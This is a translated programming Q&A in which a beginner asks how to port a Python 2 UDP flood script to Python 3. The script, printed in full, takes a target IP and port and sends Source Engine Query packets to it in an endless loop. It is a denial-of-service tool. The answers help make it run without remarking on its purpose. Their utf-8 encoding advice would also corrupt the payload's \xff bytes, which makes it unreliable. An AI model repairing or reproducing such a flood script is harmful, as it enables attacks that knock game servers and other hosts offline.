1

这是用 Python 2.x 编写的代码,我想让它在 Python 3.x 中运行。

这条线在 Python 3.x 中会是什么样子?

while True:
    sock.sendto(bytes,(ip,port))

注意:今天之前我从未使用过 Python,所以如果这对你来说是个愚蠢的问题,请不要开枪。


这是整个代码,在 Python 3 中工作应该是什么样子?

import socket, sys

sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
bytes = '\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x00'

ip = input("Target IP: ")
port = input("Target Port: ")

print ("Exit the program to stop the flood")

while True:
    sock.sendto(bytes,(ip,port))
4

2 回答 2

2

Python 3 中的代码完全相同。

不同之处在于strtype 在 Python 3 中表示 Unicode 字符串。str在 Python 2 中是字节字符串。

转换bytesbytes例如s.encode(encoding). 还要重命名bytes以避免与内置名称混淆bytes

于 2012-12-04T13:07:09.567 回答
1

Most likely bytes is a str, which means it is a collection of characters. Over the network, you cannot send characters, but only bytes. Characters can be encoded into a byte stream in several ways. You most probably want to use utf-8 for it. You can encode a str into a bytes object using the_string.encode ('utf-8'). This bytes object can be sent over the network.

于 2012-12-04T13:04:14.413 回答